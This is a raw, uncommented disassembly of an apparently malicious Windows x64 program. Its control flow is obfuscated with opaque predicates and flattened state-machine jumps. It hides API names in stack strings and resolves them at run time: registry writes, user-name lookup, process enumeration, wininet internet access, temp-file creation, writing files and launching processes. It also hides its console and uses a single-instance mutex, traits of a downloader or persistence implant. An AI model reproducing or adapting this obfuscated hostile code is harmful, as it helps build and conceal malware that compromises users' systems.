mov ecx, dword [0x140070bfc]
lea edi, [rdx - 1]
imul edi, edx
mov esi, edi
not esi
mov edx, edi
or edx, 0xe97e905e
mov eax, edi
and eax, 0xe97e905e
mov ebx, esi
and ebx, 0x16816fa0
or ebx, eax
and edx, 0xe97e905f
xor edx, ebx
and esi, 0xe80af90a
and edi, 0x17f506f5
or edi, esi
mov eax, edi
xor eax, 0x179404f1
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x4863fb06
and edx, 0xb79c04f9
or edx, ebx
xor edi, 0x4802f902
and edi, 0x4863fb06
and eax, 0xb79c04f9
or eax, edi
xor eax, edx
not eax
or eax, esi
cmp eax, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r10b
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov r11d, ecx
xor r11b, 1
mov ebx, ecx
and bl, r11b
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, r11b
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
and dl, r10b
xor cl, 1
and cl, al
or cl, dl
or r10b, r8b
xor al, r9b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x47179ec
mov ecx, 0x947349f1
cmovne eax, ecx
test dl, dl
cmove eax, ecx
test bl, 1
mov ecx, 0x47179ec
jmp 0x14002c82d
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x2c5670b6
mov ecx, edx
and ecx, 0xd3a98f49
or ecx, ebx
mov ebx, ecx
xor ebx, 0xd3a98f49
mov edi, ebx
and edi, 0x89b23d8
and edx, 0xf764dc27
or edx, edi
mov edi, edx
not edi
and edi, 0xf764dc26
and edx, 0x89b23d9
or edx, edi
and ebx, 1
xor ecx, 0xd3a98f48
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3d8f3006
and ecx, 0xc270cff9
or ecx, edx
mov edx, ecx
xor edx, 0x402084a1
xor ecx, 0x110b1006
and ecx, 0x935b5b5e
and edx, 0x6ca4a4a1
or edx, ecx
mov ecx, edx
xor ecx, 0x80520a1e
xor edx, 0x6ca4a4a1
mov ebx, edx
and ebx, 0x77a971c0
and ecx, 0x88568e3f
or ecx, ebx
xor ecx, 0x88568e3f
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov edx, ecx
xor dl, 1
xor bl, r8b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
not bl
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x8adb8a76
mov ebx, 0xf4fbba7d
cmovne ecx, ebx
test al, al
mov eax, ecx
mov ebx, 0x8adb8a76
cmovne eax, ebx
test dl, 1
jmp 0x14002ca48
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
mov eax, 0x23d3b62e
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov rax, qword [rbp + 0x130]
mov eax, 0x2ded82bc
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rsi, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r13, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r15, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r14, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov r12, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 8], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov rbx, rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x10], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x18], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x20], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x28], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x30], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x38], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x40], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x48], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x50], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x58], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x40
call fcn.14003aeb0
sub rsp, rax
mov qword [rbp - 0x80], rsp
sub rsp, 0x20
lea rcx, str.kernel32.dll
mov rdi, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rdi
add rsp, 0x20
mov qword [0x140063b08], rax
sub rsp, 0x20
lea rcx, str.advapi32.dll
call rdi
add rsp, 0x20
mov qword [0x140063b10], rax
sub rsp, 0x20
lea rcx, str.wininet.dll
call rdi
add rsp, 0x20
mov qword [0x140063b18], rax
sub rsp, 0x20
lea rcx, str.user32.dll
call rdi
add rsp, 0x20
mov qword [0x140063b20], rax
sub rsp, 0x20
lea rcx, str.gdi32.dll
call rdi
add rsp, 0x20
mov qword [0x140063b28], rax
sub rsp, 0x20
lea rcx, str.ole32.dll
call rdi
add rsp, 0x20
mov qword [0x140063b30], rax
mov rdx, qword [rbp]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm8
mov rcx, qword [0x140063b08]
sub rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
add rsp, 0x20
mov qword [0x140069120], rax
movaps xmmword [rsi], xmm6
movaps xmmword [rsi + 0x10], xmm6
movaps xmmword [rsi + 0x20], xmm6
mov word [rsi + 0x30], 0
movabs rax, 0x4e72657355746547
mov qword [rsi], rax
mov dword [rsi + 8], 0x57656d61
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, rsi
call rdi
add rsp, 0x20
mov qword [0x140069638], rax
movaps xmmword [r13], xmm6
movaps xmmword [r13 + 0x10], xmm6
movaps xmmword [r13 + 0x20], xmm6
mov word [r13 + 0x30], 0
movabs rax, 0x6156746547676552
mov qword [r13], rax
mov dword [r13 + 8], 0x5765756c
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r13
call rdi
add rsp, 0x20
mov qword [0x140069338], rax
movaps xmmword [r15], xmm6
movaps xmmword [r15 + 0x10], xmm6
movaps xmmword [r15 + 0x20], xmm6
mov word [r15 + 0x30], 0
movabs rax, 0x7461657243676552
mov qword [r15], rax
mov dword [r15 + 8], 0x79654b65
mov byte [r15 + 0xc], 0x57
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r15
call rdi
add rsp, 0x20
mov qword [0x140069640], rax
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm6
movaps xmmword [r14 + 0x20], xmm6
mov word [r14 + 0x30], 0
movabs rax, 0x654b746553676552
mov qword [r14], rax
mov dword [r14 + 8], 0x6c615679
mov word [r14 + 0xc], 0x6575
mov byte [r14 + 0xe], 0x57
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r14
lea r14, [0x140069680]
call rdi
add rsp, 0x20
mov qword [0x1400640f0], rax
movaps xmmword [r12], xmm6
movaps xmmword [r12 + 0x10], xmm6
movaps xmmword [r12 + 0x20], xmm6
mov word [r12 + 0x30], 0
movabs rax, 0x65736f6c43676552
mov qword [r12], rax
mov word [r12 + 8], 0x654b
mov byte [r12 + 0xa], 0x79
mov rcx, qword [0x140063b10]
sub rsp, 0x20
mov rdx, r12
call rdi
add rsp, 0x20
mov qword [0x1400640f8], rax
mov rdx, qword [rbp - 8]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm9
movabs rax, 0x746f687370616e53
mov qword [rdx + 0x10], rax
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140069648], rax
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx + 0x20], xmm6
mov word [rbx + 0x30], 0
movabs rax, 0x33737365636f7250
mov rsi, rax
mov qword [rbx], rax
mov dword [rbx + 8], 0x72694632
mov word [rbx + 0xc], 0x7473
mov rcx, qword [0x140063b08]
sub rsp, 0x20
mov rdx, rbx
call rdi
add rsp, 0x20
mov qword [0x140070c00], rax
mov rdx, qword [rbp - 0x10]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6e614865736f6c43
mov qword [rdx], rax
mov word [rdx + 8], 0x6c64
mov byte [rdx + 0xa], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140064028], rax
mov rdx, qword [rbp - 0x18]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
mov qword [rdx], rsi
mov dword [rdx + 8], 0x78654e32
mov byte [rdx + 0xc], 0x74
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140070c08], rax
mov rdx, qword [rbp - 0x20]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm10
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140069428], rax
mov rdx, qword [rbp - 0x28]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x74656e7265746e49
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e65704f
mov byte [rdx + 0xc], 0x57
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140063bb8], rax
mov rdx, qword [rbp - 0x30]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm11
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140064008], rax
mov rdx, qword [rbp - 0x38]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm12
mov word [rdx + 0x10], 0x6c64
mov byte [rdx + 0x12], 0x65
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140063bd0], rax
mov rdx, qword [rbp - 0x40]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x50706d6554746547
mov qword [rdx], rax
mov dword [rdx + 8], 0x57687461
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140070bc0], rax
mov rdx, qword [rbp - 0x48]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6946657461657243
mov qword [rdx], rax
mov word [rdx + 8], 0x656c
mov byte [rdx + 0xa], 0x57
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140064020], rax
mov rdx, qword [rbp - 0x50]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x656c694664616552
mov qword [rdx], rax
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140064018], rax
mov rdx, qword [rbp - 0x58]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm13
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140063c08], rax
mov rdx, qword [rbp - 0x60]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm14
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140063bc0], rax
mov rdx, qword [rbp - 0x68]
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movaps xmmword [rdx], xmm7
mov rcx, qword [0x140063b18]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140063c10], rax
mov rdx, qword [rbp - 0x70]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x7250657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x7365636f
mov word [rdx + 0xc], 0x5773
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140070bd8], rax
mov rdx, qword [rbp - 0x78]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6c69466574697257
mov qword [rdx], rax
mov byte [rdx + 8], 0x65
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140070bc8], rax
mov rdx, qword [rbp - 0x80]
movaps xmmword [rdx], xmm6
movaps xmmword [rdx + 0x10], xmm6
movaps xmmword [rdx + 0x20], xmm6
mov word [rdx + 0x30], 0
movabs rax, 0x6854657461657243
mov qword [rdx], rax
mov dword [rdx + 8], 0x64616572
mov rcx, qword [0x140063b08]
sub rsp, 0x20
call rdi
add rsp, 0x20
mov qword [0x140070bf0], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeConsole]
add rsp, 0x20
mov eax, 0x8faac017
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov ecx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xb16bc5f6
and ecx, 0x4e943a09
or ecx, edx
mov edx, ecx
xor edx, 0xb16bc5f6
xor ecx, 0x4e042201
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xdf4f6391
and edx, 0x20b09c6e
or edx, ecx
xor edx, 0x20b09c6f
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xc2a39afd
and ecx, 0x3d5c6502
or ecx, edx
mov edx, ecx
xor edx, 0x420180ec
xor ecx, 0x3d5c6502
mov ebx, ecx
and ebx, 0x95a23f13
and edx, 0x6a5dc0ec
or edx, ebx
xor edx, 0x6a5dc0ec
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne r8b
cmp eax, 9
setg r10b
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, r10b
and cl, al
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r8b
and cl, r9b
or cl, dl
xor r10b, r9b
xor r10b, 1
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x6f151a84
mov ebx, 0x55d29ba7
cmovne eax, ebx
test cl, cl
cmove eax, ebx
test dl, 1
mov ecx, 0x6f151a84
jmp 0x14002c82d
mov rax, qword [rbp + 0x120]
mov rax, qword [rbp + 0x118]
mov rax, qword [rbp + 0x110]
mov rax, qword [rbp + 0x108]
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0xf8]
mov rax, qword [rbp + 0xf0]
mov rax, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xd8]
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xb8]
mov rax, qword [rbp + 0xb0]
mov rax, qword [rbp + 0xa8]
mov rax, qword [rbp + 0xa0]
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x90]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x70]
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x3a98080
mov ecx, ebx
and ecx, 0x5012715e
or ecx, edx
xor ecx, 0x5012715e
mov edx, ebx
xor edx, 0x53bbf1de
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0xac440e20
and edx, 0x53bbf1df
or edx, ecx
and edi, 0x7ad2b4ef
and ebx, 0x852d4b10
or ebx, edi
mov ecx, ebx
xor ecx, 0x40c0010
mov esi, edx
not esi
mov edi, esi
and edi, 0xc3a1eb6f
and edx, 0x3c5e1490
or edx, edi
xor ebx, 0x4280a06f
and ebx, 0xc3a1eb6f
and ecx, 0x3c5e1490
or ecx, ebx
xor ecx, edx
not ecx
or ecx, esi
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
xor al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x55d29ba7
mov edi, 0x9b5d8100
cmovne ebx, edi
test cl, cl
mov eax, ebx
cmovne eax, edi
jmp 0x14002c3ce
mov eax, 0x9b5d8100
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x92b161f
mov edi, ecx
and edi, 0xf6d4e9e0
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xf6d4e9e1
and edi, 0x92b161e
or edi, ebx
and edx, 0xbb88ec56
and ecx, 0x447713a9
or ecx, edx
mov edx, ecx
xor edx, 0x447713a9
xor ecx, 0xbb88ec56
and ecx, edi
not edi
and edx, edi
or ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg dl
mov ebx, r9d
xor bl, dl
mov eax, ebx
and al, dl
and r10b, dl
or dl, r9b
xor dl, 1
or dl, bl
and bl, r9b
mov ecx, ebx
xor cl, 1
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
and r8b, r9b
or r10b, r8b
xor dl, 1
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov r8d, eax
xor r8b, 1
mov r10d, ecx
xor r10b, 1
mov edx, r10d
mov r9d, r8d
xor r10b, r8b
and r8b, al
and dl, cl
xor r9b, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, r9b
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, r8d
xor bl, 1
and bl, dl
xor dl, 1
and dl, r8b
or dl, bl
or cl, al
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x7649beb7
mov eax, 0x9071a341
cmovne ebx, eax
test cl, 1
mov eax, 0x7649beb7
cmovne eax, ebx
test dl, 1
cmove eax, ebx
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov rax, qword [rbp + 0x140]
mov edx, dword [0x140070bf8]
mov ecx, dword [0x140070bfc]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xc2f76209
mov eax, ebx
and eax, 0x9810
or eax, edx
xor eax, 0x9810
mov edx, ebx
xor edx, 0xc2f7fa19
and edx, ebx
mov esi, eax
and esi, edx
xor edx, eax
or edx, esi
mov eax, edx
not eax
and eax, 0xa8f495f9
and edx, 0x570b6a06
or edx, eax
mov eax, edx
xor eax, 0x95fc901e
xor edx, 0x6a036fe1
and edi, edx
and eax, ebx
or eax, edi
xor edx, eax
test edx, eax
sete r8b
setne bl
cmp ecx, 0xa
setl r9b
cmp ecx, 9
setg cl
mov edx, ecx
xor dl, bl
or bl, r9b
or r9b, r8b
xor r9b, 1
or r9b, dl
or cl, r8b
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov ebx, eax
xor bl, 1
xor al, cl
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
and al, r9b
mov ecx, r9d
and cl, dl
xor dl, r9b
xor r9b, 1
xor bl, 1
and bl, r9b
or bl, al
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov ecx, 0xe0601164
mov eax, 0x9071a341
cmovne ecx, eax
test dl, 1
mov eax, 0xe0601164
cmovne eax, ecx
test bl, 1
jmp 0x14002c82d
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
add rsp, 0x20
cmp eax, 0xb7
sete byte [rbp + 0x12f]
mov edx, dword [0x140070bf8]
mov eax, dword [0x140070bfc]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xb0363999
and edx, ecx
or ecx, 0x4fc9c666
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x56239a97
and ebx, 0xa0142108
or ebx, esi
or ecx, edi
and edi, 0x56239a97
and edx, 0xa9dc6568
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x55c85a41
and ecx, 0xaa37a5be
or ecx, edx
mov edx, ecx
xor edx, 0x1a019c27
xor ecx, 0xe5fe63d8
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebx, edx
xor ebx, 0xecaca1f8
and ebx, edx
mov ecx, edx
or ecx, 0x13535e07
mov edx, ecx
not edx
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x368874de
and edx, 0xc8248120
or edx, esi
or ecx, edi
and edi, 0x368874de
and ebx, 0xc9778b21
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xff919733
and ecx, 0x6e68cc
or ecx, edx
mov edx, ecx
xor edx, 0x24400914
xor ecx, 0x319208b
and ecx, 0xcb9be0ab
and edx, 0x34641f54
or edx, ecx
mov ecx, edx
xor ecx, 0x24401014
xor edx, 0x42180023
and edx, 0x523c0f63
and ecx, 0xadc3f09c
or ecx, edx
xor ecx, 0x523c0f63
cmp ecx, 0xffffffff
sete cl
setne r9b
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, r8d
xor al, bl
and al, r8b
or r9b, al
xor al, 1
or al, cl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
xor cl, bl
and bl, cl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
and cl, dl
xor dl, 1
xor al, 1
and al, dl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov edx, ebx
xor dl, cl
test bl, 1
mov eax, 0x29778146
mov ebx, 0xcfe19213
cmovne eax, ebx
test cl, 1
cmove eax, ebx
not dl
test dl, 1
mov ecx, 0x29778146
jmp 0x14002ca48
cmp byte [rbp + 0x157], 0
mov eax, 0x5e03e358
mov ecx, 0x8b791694
jmp 0x14002ca48
mov eax, dword [0x140070bf8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, edx
and ecx, 0xc3e59bb8
and edx, 0x3c1a6447
or edx, ecx
mov ecx, edx
xor ecx, 0x30084002
mov eax, ebx
not eax
xor edx, 0xc3e59bb9
mov edi, eax
and edi, 0x4e93345d
and ebx, 0xb16ccba2
or ebx, edi
or eax, edx
and edx, 0x4e93345d
and ecx, 0xb16ccba2
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf9d52d2f
and ecx, eax
and eax, 0x62ad2d0
or eax, edx
xor eax, 0x62ad2d0
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
sete bl
setne al
cmp dword [0x140070bfc], 9
setg dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r8d, eax
xor r8b, 1
mov ecx, edx
xor cl, bl
not cl
and cl, bl
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov r10d, ecx
xor r10b, 1
mov ebx, ecx
and bl, r10b
mov r9d, ebx
and r9b, cl
xor bl, cl
or cl, r8b
and r8b, al
xor r8b, 1
mov edx, r8d
xor dl, al
or r8b, al
xor r8b, 1
or r8b, dl
or bl, r9b
xor bl, r8b
xor r10b, al
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, bl
test al, 1
mov edx, 0x23d3b62e
mov eax, 0xcfe19213
cmovne edx, eax
test cl, 1
mov eax, 0x23d3b62e
cmovne eax, edx
jmp 0x14002ca0e
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
movaps xmm0, xmmword [str.JdhdGGBEJSHSTYE63ndHd4]
movaps xmmword [rax], xmm0
movabs rcx, 0x3d346448646e33
mov qword [rax + 0x10], rcx
sub rsp, 0x20
xor ecx, ecx
mov edx, 1
lea r8, str.FHNSmdjfhT534dGBvstNst
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
add rsp, 0x20
test rax, rax
mov eax, 0xbb93278a
mov ecx, 0x193b66e
cmove eax, ecx
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov rcx, qword [rbp + 0x130]
sub rsp, 0x20
lea rdx, [0x14005d0d1]
call fcn.14003c8b0
add rsp, 0x20
lea rsi, [rax + 0xe]
mov rax, qword [rbp + 0x68]
mov rdi, qword [rbp + 0x68]
sub rsp, 0x20
mov r8d, 0x3e8
mov rcx, rdi
xor edx, edx
call fcn.14003c6a0
mov r8d, 0x3e8
mov rcx, rdi
mov rdx, rsi
call fcn.14000b3a0
mov rcx, rdi
call fcn.140027260
add rsp, 0x20
mov eax, 0x47179ec
cmp eax, 0xe50268bb
jg 0x140028eb0
jmp 0x140028e37
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x148], rax
mov rcx, qword [rbp + 0x148]
sub rsp, 0x20
mov r8d, 0x3e8
xor edx, edx
call fcn.14003c6a0
add rsp, 0x20
mov rdx, qword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0x3e8
call qword [0x140070bc0]
add rsp, 0x20
test rax, rax
setne byte [rbp + 0x156]
mov eax, dword [0x140070bf8]
mov ecx, dword [0x140070bfc]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xfffffffe
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x6ce538cd
and ebx, 0x931ac732
or ebx, esi
or edx, edi
and edi, 0x6ce538cd
